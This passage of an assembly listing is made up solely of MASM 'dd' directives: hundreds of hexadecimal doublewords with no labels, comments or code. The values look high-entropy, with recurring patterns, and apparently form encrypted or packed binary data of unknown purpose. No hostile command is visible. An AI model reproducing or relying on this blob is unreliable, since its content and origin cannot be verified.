0DEA5E65Bh, 5D4752E1h dd 0E70F7CEAh, 15D52B7Eh, 32F8FDD9h, 67A85FBAh, 0F943DFDFh dd 7F5405F3h, 0A16ECD98h, 0EDD6E6FDh, 99B9C9EFh, 28ECF578h dd 0C5B078ECh, 9D99685h, 2C36C92Bh, 64EE7D56h, 4EB5B99Ch dd 0A532DFE5h, 0BA6FC3F0h, 0ABC9034Dh, 359C32FCh, 180785BAh dd 0E3BB165Bh, 0FF4E6E15h, 90FDE7EFh, 8705E850h, 8F7BB8ADh dd 0DDDC9B66h, 8EE2E03Eh, 0BB1C8C55h, 281602CBh, 2FE7DB16h dd 0AA9C92F7h, 0C9535467h, 55AFEB5Ch, 0E7AC4455h, 0C424EA8Ah dd 30B43526h, 6BEE0DE3h, 0C4B7FB23h, 4985AF8Ah, 0A9B36EB2h dd 0D0631C88h, 711C9FA9h, 0D0798DFh, 0E7869C93h, 0D64F5EC2h dd 0A9B6E7D8h, 0F70B9321h, 7F413EFDh, 8ED5FE98h, 4CAEDF00h dd 0FFD43654h, 0D1202BDAh, 228A8C46h, 0C6324648h, 4CB59DA3h dd 7CDA24C5h, 0BCC8F81Ah, 9643A070h, 38C4AC17h, 0E76912E5h dd 0C910F4B7h, 1723EAD4h, 0BB68B335h, 0C9535325h, 3BB1BBEFh dd 2C36C95Fh, 1CA26BBBh, 67BBEBEFh, 0D07A94DEh, 24138676h dd 53A7BBCFh, 0F9E507C7h, 0FE2E0A2Dh, 76C8C1A7h, 0F7DD4641h dd 1E629E55h, 0ECA62A4Bh, 1DBCE507h, 40D8A5B4h, 9C1EC759h dd 5B262273h, 71F38B4Bh, 8D146140h, 0C2ED1DD7h, 0B0E1B2F3h dd 52A9382Dh, 8A8BE53Eh, 4D0CFD8Ah, 76796645h, 0B31D15E5h dd 805FDDA3h, 0D2A7669Dh, 0FD14CEEEh, 0FDE3BA04h, 0F179724Fh dd 7D3DD104h, 0D00C0470h, 8CCABB39h, 766CCCD2h, 79228F0Bh dd 84A81B62h, 0F537C6Dh, 2288BECEh, 89E4DAF3h, 0CBB3DF5h dd 0FDADFF8Ah, 0F12CCE9h, 0D6CE73B1h, 0F7906CC9h, 0DCF0E89Ch dd 0E2CC7F92h, 0D2977E4h, 78505C34h, 403F2135h, 8D8F5802h dd 13B2AB56h, 0BBA95B60h, 0B3F29E1Bh, 0B0E1B2F9h, 0B64309A0h dd 5A601222h, 264E8D82h, 4E87A331h, 4810AC1Ch, 2288BA1Fh dd 5F5AA422h, 5CBF9EA3h, 0AF5B9C53h, 0F588BF4Ah, 55FAA349h dd 76652440h, 580EF308h, 0E366CF1Eh, 620A5DC4h, 31B7260h dd 11601326h, 710A9C51h, 4AC1BABFh, 0F4B7AA24h, 0F1C6A6Eh dd 44FB2171h, 0CFC561EFh, 281BB1A0h, 28BEC6FEh, 0B416301Ch dd 2288BA20h, 5F59D022h, 22BFA343h, 0DEA6F015h, 65DB8EF1h dd 0F25EA19Dh, 0C8ADD357h, 582D6C64h, 0EF406B32h, 2B91A7CBh dd 0D5C9D1Eh, 0F589E13Eh, 4CCF6640h, 99FA37A3h, 728E855Ch dd 9C7BC889h, 793CEFC5h, 464C5EB3h dd 6483980Ah, 4B2B5ACEh, 145A1F52h, 0A5A5164Eh, 10EFB814h dd 90CB0457h, 4864DECAh, 2695F1A3h, 8148B527h, 0E73FFFBBh dd 0B03205EBh, 18819CD9h, 565AAF19h, 0C8128B76h, 6A219CA5h dd 8FDBCF2h, 3FCC3F8Eh, 0E589FB66h, 0BC86A611h, 2365284Ah dd 85F84C88h, 0DA9F6EACh, 928230A4h, 228A8BD4h, 9B8FB61Bh dd 28B96D7Ch, 39EF8292h, 0BC7DEC1Eh, 7269C6D1h, 228A8AF3h dd 0D4498431h, 8B8A8AC3h, 0A3684644h, 6588BF45h, 245EA25Fh dd 0F8F323F3h, 4CC0BE1Fh, 26FDE24h, 6ED7C745h, 0BD88BDFBh dd 0C3F97F3Eh, 6762A4BEh, 0E8061445h, 8E46E7FFh, 3C51434Fh dd 35E23C32h, 1F61C175h, 55F7EB9h, 0CA0CC03h, 5370598Dh dd 3B44BF50h, 63E47A53h, 2677A151h, 3CB78FD9h, 63E368BBh dd 6171AA51h, 40144F0Fh, 9A88BDFBh, 2288BF6Fh, 5CD2A62Ah dd 12A203CEh, 0D60FA325h, 5F1CD54Ch, 22939B7Ch, 19D48231h dd 59B6A50Ch, 614C5959h, 0CF84B3A8h, 0B3AD575Bh, 0B9BB484Fh dd 0BBAF59A0h, 38406DC1h, 0F02ED93h, 0ED804B54h, 0EB7EC820h dd 2585E498h, 7 dup(2128C825h), 7D641E78h, 49E1DFBAh, 0B73DD153h dd 58819B6Bh, 0EA1FB8ACh, 41ACD378h, 4F1FDD39h, 2B3DD153h dd 0BA819A29h, 0D8508567h, 0EF9DBDA4h, 828E8B95h, 0BE90FDFFh dd 0BDDE0ED7h, 0E347D436h, 79B42A87h, 9B20D27Bh, 938AA714h dd 7D1D778Eh, 6F23C4ADh, 0D208FD6Bh, 85715910h, 67ED5034h dd 67794E9Fh, 0BB702196h, 192C3330h, 0E9A4CA79h, 4986865Ch dd 0A9AD97CDh, 9DD08666h, 0E7FC9712h, 0DDDD4146h, 5B64A95Dh dd 0C85E8A1Ah, 38B12642h, 0D2856394h, 8B4176BAh, 0B4A7216Ch dd 115FA072h, 622A826h, 0C6197F87h, 13A29FC5h, 0BB4A859Dh dd 604EEEACh, 0F8EC1224h, 889E6FB7h, 0E46528C7h, 7743A08Bh dd 8B72DE7h, 9906BA6Ah, 32C3512Ah, 3166974Eh, 0A6E3FB05h dd 6D690E73h, 7F0A007Dh, 0CBD3BD34h, 0FD4E07BDh, 12EFBF51h dd 4E90CF2Ch, 64F5D812h, 404F729Ch, 2BB90F68h, 2F444F9Ah dd 8F214AFDh, 2128C7DBh, 40860320h, 63BA2452h, 0BBFCDEF0h dd 4D9EFF28h, 8AD88BE6h, 0A04B9D2h, 7383588Fh, 0E4AC1558h dd 0E8F45499h, 0F8AFC155h, 5CBB3061h, 31F45F67h, 6B511D8h dd 0AE57445Ah, 6F238D10h, 4A93EF6Fh, 0BE90FDF9h, 0F0BA0ED7h dd 597288A7h, 0D6969455h, 0E0BEFA77h, 5E6E0E31h, 1F28D11Bh dd 0DF47299Fh, 0F0FB7A4Eh, 0FED507Fh, 7F6631BBh, 3700D341h dd 0EC3EA44Eh, 44CD02F4h, 0E1F47675h, 0B3386B30h, 0CEB842EEh dd 6F247EE7h, 0BD80BC67h, 4B633EEh, 75231CA0h, 3F8C2861h dd 0F7786167h, 72D7ECE9h, 8BDF93C4h, 5DC1943Fh, 22DEB567h dd 6A8449F3h, 9C55F5E4h, 0B1489101h, 0AFC75449h, 2128D205h dd 0A2737B25h, 1717E5B3h, 0C8479640h, 6B1F9915h, 0D2BEDFD8h dd 9E4ED560h, 90F58597h, 0FEB6344Bh, 0DE495E1Fh, 0DCF2CB0Bh dd 6961451Bh, 0F9BFF715h, 754197E9h, 0DF512C1Bh, 0E8C2579Bh dd 15D8C820h, 92030F7Ch, 8780F60Fh, 7408816Ch, 2912335Eh dd 337EB629h, 982032F5h, 0B69A6766h, 894F574Dh, 6B64E52Eh dd 98C7CE12h, 2128D27Ah, 0A2737FA4h, 6EEBCB20h, 0B84CC717h dd 9495E18Fh, 0BAE8170Ah, 656D7AF8h, 0BCE96F9Dh, 382555FBh dd 48FC542Fh, 1B22A6F8h, 0CB4BAE81h, 24713337h, 337D8875h dd 0CD9D912Bh, 57E462DBh, 0CC57384h, 6C0D10F0h, 0D994CF74h dd 9044E031h, 3AE95F80h, 5313ACCBh, 1B513BECh, 8F17C820h dd 54CB57D9h, 11640832h, 996FE10h, 2AD30A3Bh, 1275D646h dd 0C3CCEFC5h, 0BEFD1D60h, 5FE28496h, 292D62F6h, 0CFEE90FCh dd 2D55F5EDh, 17B91B4h, 0B1BFDF02h, 0E801307Dh, 9622A6F7h dd 2DB80FEEh, 4EBF74DAh, 76E4CBCCh, 0A27623E3h, 0A117E5B3h dd 4E2F333Eh, 4F0CA1BBh, 450CA106h, 0D9202FFAh, 0FA65CEDAh dd 0BD3A1C85h, 851DAEh, 0B3279E67h, 2CE9801Ah, 1E359467h dd 6AF16634h, 0EAACCE87h, 32BC132Eh, 0DEE3F98Ah, 0B4D29441h dd 1822FC6h, 9F118172h, 36A99983h, 0FAE10C40h, 0D23A06FBh dd 944C7BAh, 0F8EF341Ah, 0E6B696E2h, 4294A7AFh, 0EA417F67h dd 9AFF1548h, 0F5B3D9CAh, 0B913BAADh, 0D8809E3h, 20851A93h dd 5CB49D9Bh, 0AD869B75h, 0BF6A5CC3h, 0A592E600h, 64728A96h dd 7E990F67h, 2662C98Fh, 0F8536B7Fh, 55E6A9FAh, 2B840612h dd 830D709Ch, 782DEBD9h, 0B08CB229h, 0C0F30658h, 3D33847h dd 0C4E07FE9h, 0CA0E6240h, 64CB3A58h, 0C81A7C90h, 0C7449D9h dd 0D47A4E08h, 0FFB9D6B9h, 0B0BE3F9Eh, 802E76D0h, 804EF725h dd 0A36DC7BAh, 0B514BA87h, 845D2E9Dh, 0CB708292h, 5C3E965Fh dd 29811C73h, 0F8B506C0h, 1D84B681h, 10A2A387h, 30F225B4h dd 6EAE4F71h, 0D40E596Ch, 0B98ABEE1h, 95695C17h, 2128D194h dd 67E9D442h, 0FDC896CBh, 0BDE0CAE2h, 0EEDDC81Fh, 578CABDh dd 86DDC54Ch, 59A70BB2h, 0C6457D6Eh, 3A9B32C3h, 29E1F786h dd 0F953BE99h, 0CC340DC9h, 6477F6C2h, 0E72B2C6Bh, 0D2358DF9h dd 0F98728BAh, 19FAB98Bh, 0A3E02228h, 2691CAA8h, 197FCEA1h dd 2976ED28h, 9AA1A5B5h, 114DEE1Eh, 403A9887h, 2133B685h dd 0F958D725h, 0B7E53FBEh, 2128D0C9h, 2133B4C4h, 0F9615325h dd 29484ACAh, 655EBC3Fh, 90487E3Bh, 0F2F10D23h, 6509D6E4h dd 0EA1FB4E6h, 0C0C4F5C2h, 84159283h, 76FBAFB3h, 0FB6C2F98h dd 50F2287Bh, 0A75AE232h, 0FA147B47h, 4310D18Ch, 0AA8100A3h dd 0C2D1D767h, 529BBF0h, 0D20F6BA3h, 99ADC25Dh, 0F2188360h dd 8BB09830h, 0FA1530ADh, 2133B4A6h, 0EDDF4625h, 71F053B3h dd 1B696E4Eh, 5F28C539h, 9673F324h, 66D78404h, 0D6E2F728h dd 66C7C566h, 2128D230h, 0D58FD725h, 9731B083h, 4A28C563h dd 13C6C5E8h, 8AFD6C1Ah, 0FC448A2Bh, 4F054376h, 7F29E434h dd 2136C074h, 4E623425h, 0C9E7A926h, 9B665247h, 0E6674E8Ah dd 34EC81A0h, 6E671DBAh, 2128D0BEh, 9B93406Bh, 0EB4F39F1h dd 0D1A0605Fh, 912CC7BAh, 4F3DD528h, 34EC8DF0h, 0FB672F41h dd 21308FA9h, 0F13B425h, 5CFFC078h, 201450AEh, 45A298A9h dd 0D7E04C02h, 0D1D14A97h, 4E43C7BAh, 0EE575868h, 3C6552A7h dd 712F6498h, 21365545h, 0F1816425h, 6928C52Eh, 9456303Ah dd 0CF52107Ch, 0F56DA4CAh, 43DC7C2h, 0D536BCADh, 0ACB68CF7h dd 6AE474F9h, 53E4AB37h, 6A46D86Eh, 6EF382Ch, 85A76035h dd 4ED07504h, 0AE08E223h, 0F7F496D2h, 0F7F08F4Ch, 4ED45EDBh dd 0EE16FA40h, 70EEDFD1h, 19E559D2h, 6A4E67D1h, 0F9DBEF3Eh dd 0D98E6035h, 4ED07509h, 8308D523h, 0F9481ED9h, 0F7F08F4Ch dd 4ECA5345h, 430FCCD1h, 758B6FDEh, 8D50393Dh, 53DE2546h dd 0F9CE458Eh, 28D45EF1h, 492ECAF5h, 0EED46003h, 0A6E3E4CBh dd 9FD5FC41h, 0C2CAEED9h, 0BBD45FF0h, 66B2195Eh, 30B1D07Fh dd 0B091CFAEh, 0F4849488h, 4ED45F24h, 0EE95603h, 0F2ED1CA6h dd 0F797E429h, 2EB9F3F0h, 4929F9F5h, 0EED46003h, 72AEE684h dd 9FCAEAA9h, 97CAEED9h, 4CD45FEFh, 23F9192Fh, 6772380Ah dd 0EE6239CFh, 772067D1h, 0F9DC5C80h, 0A1BE39D6h, 4805689Bh dd 90BE3A1Ah, 0A26C689Bh, 0E651768Dh, 0E7252C3Bh, 0C4B6E499h dd 48FBD227h, 0C5DB06A3h, 0A2E76AAAh, 77736C0h, 0FB5D9C7Ch dd 761BDFAAh, 0BC893BA2h, 96B58CA3h, 639194B2h, 29D7E7E2h dd 0CD8F6CF8h, 0BDA0B841h, 9316F5F1h, 9E049B5Fh, 0D6889DA8h dd 0C3DDEB2Eh, 13642C36h dd 0C05A79F9h, 0F457A2C9h, 74A0F963h, 2F7EF4FCh, 6C818A17h dd 63DA0736h, 5C1C11D0h, 98C20020h, 0D9DBF1A9h, 28CEEB6Ch dd 98CCAD39h, 201D749Ah, 22E6DFDh, 5D380EB3h, 0B07F5B47h dd 0AFA56B9Ah, 1A22D52h, 0AE3D9521h, 0D54AD83Dh, 0E8DED565h dd 0F9DBE7FEh, 7D2B9399h, 0DBF700BCh, 906733C8h, 0F053C9A5h dd 6C2B9113h, 9F00F77h, 98C32479h, 201D749Ah, 22E6DFDh dd 5D380EB3h, 0B07F5B47h, 0AFA56B9Ah, 1A22D26h, 3B3D9521h dd 2534C122h, 0FB3D21D6h, 8D797F0h, 0E953C9B9h, 0DD4FB70Eh dd 5F0239C8h, 17DBE894h, 7F5D2A2Ch, 0AD53C9B1h, 632A0B40h dd 4C4A14F4h, 37A05CCFh, 0BB24596Ch, 3CD62ECDh, 0D02C9A15h dd 0BC878680h, 3F25F0DAh, 7899A2E0h, 0D795D73Eh, 31666B0Ch dd 0E56DC74Eh, 38EC1829h, 592F9632h, 0FAE4F44Dh, 1BBDD495h dd 0D9673F42h, 0B65CBF99h, 0FACB9954h, 73470666h, 9BBF60FDh dd 0C73B7D85h, 1189D730h, 2736EEB9h, 8745E99Eh, 240D1DABh dd 0C4D690Ch, 30C489A9h, 30301EB2h, 0FE04EDEBh, 8CA1ED9Dh dd 7FD1F4E4h, 3DA1F0E6h, 18A5EAEBh, 86D5F4F7h, 0E9CF861h dd 3DA046B4h, 0E1E875A9h, 87D41AE8h, 2F22ED89h, 0CC91F841h dd 5DA04A83h, 3D9CA1F2h, 142A31EBh, 0F018006Dh, 30EECAB4h dd 0F8A6EDEBh, 3DD40FACh, 3D9F3AE4h, 72D507EBh, 25C2362Dh dd 128F12AAh, 6D28FA01h, 3DA046B0h, 436B73B7h, 51AC2880h dd 0B46A332Fh, 39CBAD3Eh, 69B55ECh, 0BF04F0E5h, 0FA1F0E4h dd 0B2E230AAh, 0EA046A6h, 3DA1F098h, 0A5CE8503h, 5DA1ED9Dh dd 30F70DB0h, 8189EDEBh, 97A1ED9Bh, 0BEB405Dh, 0E73FE520h dd 0EA1F37Dh, 3DA1F098h, 380039D3h, 0A59CF7CBh, 76A6F0E7h dd 3DA1ED21h, 30FA23B2h, 0E901EDEBh, 2F01ED9Dh, 3DADC7ACh dd 7152EDEBh, 467A552Ah, 0FF2B22F6h, 0F89E0DEAh, 1F2673C9h dd 213442h, 0C8A1EFC4h, 3D9F94F3h, 0FB233AEBh, 0C8A1ED9Dh dd 3D9CF537h, 0C8A1EDEBh, 3DD4F76Eh, 300BC8EBh, 0B129EDEBh dd 44C47665h, 0F9ADB28Ch, 2854DCFFh, 92E703D2h, 0FE04ED9Dh dd 1FA1ED9Dh, 1BC331CAh, 101F0A8h, 3DA1F007h, 0E94F8E77h dd 0D40B0B5Fh, 399CE337h, 3DD4E39Eh, 30F528B2h, 5001EDEBh dd 0CC786E7Ah, 2F01ED9Dh, 9920C2D4h, 3DD40D65h, 0EA04F10h dd 3DA046B3h, 390649A2h, 0BA3D3197h, 0A954960Fh, 7494919Ah dd 0CB3B9F29h, 48A6EDEEh, 3DA1ED9Ah, 5DA049E7h, 0A0401D42h dd 16D4E36Bh, 2801ED9Dh, 3DA1ED9Dh, 3152C808h, 8068B760h dd 0AD7A1D72h, 0C91EDE65h, 0B78C213Ah, 5EA1F0E7h, 79345F81h dd 231D5BF7h, 727611CDh, 0CE531296h, 0E201F0E4h, 74678C85h dd 117E3D1h, 0BED13B0Ah, 0A5A1F04Eh, 34A6F0E7h, 3DA04B6Bh dd 3DA1A7E4h, 0DC944FEBh, 260F1A5Dh, 30C341D7h, 9CA94F4Bh dd 3DA1F052h, 0BE1E443Eh, 3DD4F9B8h, 3DA07CE7h, 30F559B2h dd 48A6EDEBh, 3DA1ED9Ah, 0C5D53AE7h, 0C8A1ED9Dh, 3DA1F065h dd 3D9F64EBh, 9EBE2C4Bh, 0EEA6ED9Bh, 3DA1EDEAh, 59A04AB3h dd 0FE94F0E7h, 2BFF0D9Dh, 3FA1EDEAh, 9BFE0F42h, 0F1A03EABh dd 1DB68080h, 806B9C70h, 30FCACF6h, 3DA079EBh, 334B20B2h dd 0FE94EDEBh, 0C1983A9Dh, 5DA1F0E7h, 4A880A33h, 5A903AF4h dd 3DD4EB1Bh, 0B9443C10h, 0C8A1EDE8h, 3D9CA29Ah, 0F02C3AEBh dd 3DA1ED9Dh, 3D9CF8EBh, 3D9CA1E4h, 0AF69EEEBh, 88798005h dd 0FE90ED9Bh, 3D9FC89Dh, 0A6D0EDEBh, 3E5CBCAEh, 8D01F0E7h dd 334E90E0h, 303EEDEBh, 0F873DB16h, 1328F334h, 2CB40FC2h dd 3DA1EDE6h, 9FA8C218h, 77B078A9h, 0CFBAB2A1h, 30014290h dd 0A084EDEBh, 0E2B13D86h, 5D4B305Ch, 65FB933Dh, 3E075A5Fh dd 3DD41023h, 3D9F94E4h, 0D7366EEBh, 61B2F594h, 0B5BBAE5Ah dd 0E9CF53Ch, 3DA046BBh, 6B05F421h, 0CFEF6ECAh, 475CE4B2h dd 0FE90ED9Dh, 3DA4C89Dh, 0C5F8EDEBh, 2A4A0FF1h, 382671D5h dd 0A98D6F45h, 0A3220DE8h, 33B8BB98h, 0DB4E3D8h, 3DA046BBh dd 330001C0h, 0C5A5B56Ah, 0F05B0228h, 0A10D6F1Dh, 0FF28C3B0h dd 0D41F3AEAh, 5DA1ED9Dh, 52D5D1FCh, 0A5A1F04Ch, 3DD4ECE0h dd 0C829F8EBh, 50A0B87h, 7AFCA899h, 849C3CB9h, 4A46994Ah dd 5A9F611Fh, 57A6F0E7h, 3DA1EDECh, 5DA049E7h, 7D1DE89Bh dd 3DD8DB4Ch, 0BA6EEDEBh, 8666D998h, 7F5CEA87h, 0BB18BB6Eh dd 0CE68B3FEh, 8B01F0E4h, 1097AD32h, 0B91EA70Ah, 0A5A1F348h dd 5DA04ACCh, 308551B0h, 0DA04EDEBh, 0C5A1EDEEh, 0C2DD8214h dd 3FD6345Ah, 0CA19E344h, 2597F124h, 0EA1F37Fh, 3DA046B4h dd 0ED163D7Ah, 85AB73EDh, 0AD205550h, 931220D8h, 0C8A04B6Fh dd 3D9F8E6Eh, 30F2C8EBh, 0A3DEDEBh, 0DFA85715h, 0E9CF534h dd 3DA046B4h, 35CF33F5h, 0DF41DBDEh, 229C1B2h, 0C93AB2FBh dd 0EA046B8h, 3DA046A2h, 847DD68Ch, 2F02D269h, 811AD2C5h dd 0CAD7FD7Ch, 15C0A6Eh, 0D39B533Dh, 4901F0E4h, 0E69EA8F4h dd 0CA703ADEh, 16A1ED9Dh, 0BDA6ED9Dh, 3DA046BFh, 0F2C13E4Bh dd 0F3C31FBBh, 3D9CF8F2h, 9CA910EBh, 3DA046BFh, 3DA1A7E4h dd 364536EBh, 9B514D83h, 30C43D23h, 0F12A3BB4h, 5DA1ED9Dh dd 30C5BD42h, 3D9F4210h, 0F02DEDEBh, 3081E77Bh, 2E560DEBh dd 3618751h, 3DD40DD5h, 3DA1A7E4h, 0AE0A40EBh, 9C9CFBE3h dd 30C5DA67h, 3D9F93E4h, 86B367EBh, 30C5BEE4h, 30C34EE4h dd 9691D6EBh, 50A077DDh, 0F353DDA1h, 0E62BFE4Bh, 0AAB3AE5Fh dd 0FE98F8E8h, 349E0D9Dh, 5D72C2AAh, 3DD40FE2h, 0C8A04F10h dd 30C5989Bh, 2BFF0DEBh, 78A1EDEAh, 0F2ABBE2Eh, 0CA627C46h dd 0AADA6D49h, 0ED1F8F76h, 0EA1F37Dh, 3DA046A2h, 6CB2B820h dd 310313D1h, 5E532E12h, 3DA23DA2h, 3DA079EBh, 3D9CA2E4h dd 5E8A75EBh, 30FD8ADDh, 35B20DEBh, 0CBD873B0h, 7201F0E4h dd 0CE80B1F3h, 0DF01F0E4h, 0CA562988h, 0C228DA80h, 3DD4AAB1h dd 0B32A3AEBh, 0EA1ED9Bh, 3DA046B3h, 0C429D0D6h, 4046AA60h dd 0CAC78C4Bh, 0A4F7FB28h, 0D0480245h, 0B001F0E4h, 76A84E44h dd 3DA1F183h, 0FF27D8A6h, 2AA90DEAh, 3DA1F184h, 2690AD6Bh dd 3DD4E3DDh, 3348CAB2h, 0FE99EDEBh, 0E49E0D9Dh, 0B7865FF1h dd 88A1F0E7h, 75389DFAh, 0E3A1080Ch, 3077E6B3h, 3C763AEBh dd 0C8A1ED21h, 3DA1A968h, 3DADC8EBh, 0C07FEDEBh, 129900B0h dd 0C8126E23h, 3A1F0E7h, 28048135h, 6D30D3C1h, 3D9A1ED4h dd 3DA1A8E4h, 0A669A5EBh, 0F9E6F8B4h, 0D79E96DCh, 9C4E6FC8h dd 0C8A04605h, 3DD41280h, 3DD8C8EBh, 28FBEDEBh, 0E8E6D3Fh dd 3A83252Ah, 55336589h, 0DD0D045Ch, 0F61F3AE8h, 0C8A1EDE8h dd 3D9CA2F3h, 0FEB13AEBh, 0C8A1ED9Dh, 3DA1F01Ch, 3D9CF8EBh dd 3DA1F0E4h, 2ACF69EBh, 0CE98B159h, 5DA1F0E1h, 14427833h dd 3D9F36F5h, 635B0EEBh, 0E76BA6EFh, 349F925Dh, 30779C42h dd 300BC8EBh, 7503EDEBh, 0EC0EC21h, 0B04A452Dh, 0C1F80AD0h dd 0D0EAFF5h, 0DF01ED9Bh, 0B280447Ch, 3D9F35FFh, 0B85A39EBh dd 8BBE664Dh, 15E64AF3h, 0DA04ED9Dh, 0FDA1EDEEh, 7F1D4293h dd 0FE098951h, 0B6F25D2Fh, 94892F77h, 5001ED9Dh, 9B6F181Ah dd 8B0FBB5Eh, 5DA1F37Dh, 3D9CA2F5h, 0CEB217EBh, 67BA127Fh dd 18327D82h, 3DD4EA2Dh, 3D9F94E4h, 5EFD2EBh, 3064C47Eh dd 0F37E5068h, 3016C8D7h, 9851EDEBh, 5487E8BBh, 66675A68h dd 0C8A079D1h, 3DD7559Bh, 2E443AEBh, 0EA1ED21h, 3DA046BBh dd 33825ED0h, 253003E4h dd 0F55F6D7Eh, 0C804EDE8h, 0CCA1F0E7h, 723F4289h, 8E8DC6B6h dd 3DD4E25Fh, 3DD8B7B2h, 0F104EDEBh, 0B5A1ED9Dh, 0DF4AAA1Fh dd 18241215h, 615FB83Bh, 3DA1EDE6h, 567B93C3h, 0A41C1545h dd 0DEEF574Dh, 6FD9C006h, 30C5BE37h, 0A5EB134Bh, 0CA0FDE48h dd 0F5273A9Dh, 0DEA1F0E7h, 0C004F0E7h, 71A1EDEEh, 0AC22AD0Eh dd 57B259A2h, 20A74C9h, 0F005D95Ah, 76AD0B1Dh, 3DA046B5h dd 3D9CA1E4h, 7151C2EBh, 337FCE3Dh, 0FE90F0A9h, 5B13A9Dh dd 0C8A1ED20h, 3DD4AB9Ah, 0C539C8EBh, 7A5CED9Dh, 0A8F1EFBEh dd 48021E56h, 942F6116h, 8D77DA19h, 30C41FB2h, 3016CB4Bh dd 0DFB3EDEBh, 2A5F1B0Eh, 0BB992B24h, 4CCB48B7h, 0E93E269Bh dd 48A6ED9Dh, 3DA1ED9Ah, 300A40E7h, 674BEDEBh, 19847B23h dd 73B38AEDh, 0A33C420Fh, 66E61AB5h, 34A6ED98h, 3DA04607h dd 581EBD4Bh, 564F2F93h, 3DD4EBA2h, 3DA859B2h, 7201EDEBh dd 23CD9532h, 14934852h, 0D4A1ED20h, 8C13A8AAh, 3AD76492h dd 0F395020Bh, 0E06AC091h, 0EA049E0h, 3DA046BFh, 80ADDA1Ch dd 8828A8F7h, 0B8B1224h, 51A68FAFh, 0FE94F0E7h, 3D9FC89Dh dd 3E1DEDEBh, 0E58452ACh, 3016C84Ah, 0D3ACEDEBh, 57828DC2h dd 0ACE60BBh, 95C8C281h, 0E976D76Eh, 0DA04ED9Dh, 0A7A1EDEEh dd 0CA7C5181h, 0CA76DB5Bh, 0A90271C8h, 0F554116Ch, 2904EDE8h dd 9BA1ED21h, 78C78395h, 6107B4F1h, 69997F28h, 3125C0Eh dd 0FDBE4149h, 3DA7C89Dh, 64F9EDEBh, 0FD9F8D4Ch, 0FC6DE0E3h dd 0E4322C8Bh, 76A6F053h, 3DA0467Bh, 0F677844Bh, 3DA1F09Ah dd 3DD410EBh, 33462CB2h, 0FE90EDEBh, 3DA7C89Dh, 0E82AEDEBh dd 232F5EC4h, 0C7128FC4h, 1789851Eh, 0FE90ED20h, 0B3B13A9Dh dd 0DEA1F0E7h, 57A6F0E7h, 3DA046B8h, 3DA1F0E4h, 0BBDEDAEBh dd 0D8F40A7Ah, 0C89CF846h, 3DA1A59Bh, 5E443AEBh, 0DEA1F0E2h dd 0FE94F0E7h, 30FAC89Dh, 1815EDEBh, 0CE6AC4ACh, 22F1AD5Bh dd 7B422E20h, 0EA1F07Bh, 3DA046BCh, 76E22DD2h, 0FF681C10h dd 5DA1EFC4h, 5F1B3E1Dh, 0B19ED6A1h, 0DEA1F348h, 0C8A04AB0h dd 30C33E6Eh, 0DA2C3AEBh, 0EA1EDEEh, 3DA046B4h, 0A6D6C5E2h dd 80B01821h, 813828BFh, 4EB0D838h, 0C8A1F0C2h, 3DD4131Ch dd 3DD8C8EBh, 15ACEDEBh, 23E46662h, 0D94E1529h, 0E072A047h dd 0C7E13118h, 3031C89Dh, 0C4D6EDEBh, 5A8FD8CBh, 0F277AC01h dd 30C5C4CCh, 3DD922B2h, 0D101EDEBh, 7541348h, 6ACE5E61h dd 0E901ED98h, 0A304ED9Dh, 8CA1F0E7h, 0DB3ECF63h, 0A9108466h dd 0C8A04A47h, 30C34165h, 53323AEBh, 0EA1ED21h, 3DA046B4h dd 60934F3Ah, 9BED4FB5h, 5BC1DE2Fh, 6461A324h, 0C8A1F05Ah dd 3DA1F034h, 3D9CF8EBh, 302E28B2h, 5001EDEBh, 0F4C8BD7Ah dd 0FF264354h, 3DA1B5EAh, 30821EB2h, 0EEA6EDEBh, 3DA1F1CFh dd 3DD4DE4Bh, 5DA04AB4h, 3DA1ABF5h, 27A2CEEBh, 68C50164h dd 822842FFh, 2A9B38Bh, 3DA1F0A8h, 3DD4EA93h, 3DA1A7E4h dd 581041EBh, 9A7F3A60h, 3DD4D0FAh, 5DA04AB3h, 66D14333h dd 3090C7FEh, 0F9B7EDEBh, 0CAC6231h, 6A1B416Eh, 101ED98h dd 3DA04641h, 0A6A50FDFh, 3716871Bh, 8CA344A4h, 65E0B1B2h dd 9EAF11FCh, 0FE04ED9Bh, 6BA1ED9Dh, 0B05B3EFEh, 59A04AB6h dd 3DAB51A2h, 0EEA6EDEBh, 3DA1F1CFh, 2 dup(3DD4DE4Bh) dd 3DD80DB2h, 4D01EDEBh, 3DA1A7ACh, 142A73EBh, 5DBE26AEh dd 0FF2D9957h, 3ADC0DEAh, 0FBA1ED21h, 51F35AD9h, 1DDB86C4h dd 225FF711h, 0FB036A3Ah, 30FF0D25h, 1A1EDEBh, 38F51E30h dd 0F413D966h, 26A3C42h, 0FEAC0F50h, 3DD8C89Dh, 481EDEBh dd 18B4590Dh, 6CA9A734h, 6BBCA8F3h, 0EA2BBD7h, 3DA1ED99h dd 0FDDB62FEh, 35632D48h, 93EDB1AAh, 2DC05A01h, 30C51467h dd 6F8F734Bh, 30C44853h, 7AC8BD4Bh, 744E2077h, 6A03C2DCh dd 0FE99ED98h, 6B093A9Dh, 59A1F0E2h, 5504F0E7h, 61A1ED21h dd 8F39815h, 4F51600Dh, 4238B974h, 3DDD94D3h, 3031C8EBh dd 8983EDEBh, 0A1040A73h, 4BDCD902h, 3DD4E64Bh, 0ECA4A7E4h dd 80966729h, 0E556A4A3h, 0ECA6885Ch, 0ECBBCB89h, 0BB586229h dd 638FB461h, 0D4BC3E05h, 0E96F0114h, 0ECA67D64h, 4D87DF29h dd 0E96E70D1h, 0ECA7A764h, 8BFD1A29h, 0E443D183h, 427153C6h dd 0CE79A412h, 0F23E6236h, 5A76229h, 0B5FC004Bh, 0E6F392A9h dd 0CD3597CDh, 0FBA7EA62h, 0ECA75B52h, 6821E0DBh, 0BA356229h dd 0C6D90CF2h, 0E90B3301h, 0E9C63452h, 0FCC76229h, 0ECA76104h dd 7D3BB03Dh, 532E1AF7h, 0E90B2F50h, 5C466229h, 0ECA73909h dd 0E979A729h, 0CCA76229h, 0CCA764EAh, 0E8593050h, 0A09C6229h dd 0ECA76265h, 5B23DA6Eh, 0E96E7188h, 0E914D929h, 5C906229h dd 0AA57907h, 42B38E9Ah, 0ECA4028Eh, 0E9173152h, 0C79C6229h dd 0ECA76265h, 0E90BB952h, 0D4C76229h, 622C7F1Fh, 0EB462A42h dd 0ECA7E929h, 0EC823152h, 0B9BA6229h, 0ECA75B53h, 6DC13069h dd 0AE5BEA3Dh, 719EC47Ah, 2432AACh, 0FBA7EA48h, 0ECA76229h dd 691A34A5h, 200827CBh, 0C29C020Bh, 0ECA7620Dh, 0E976A854h dd 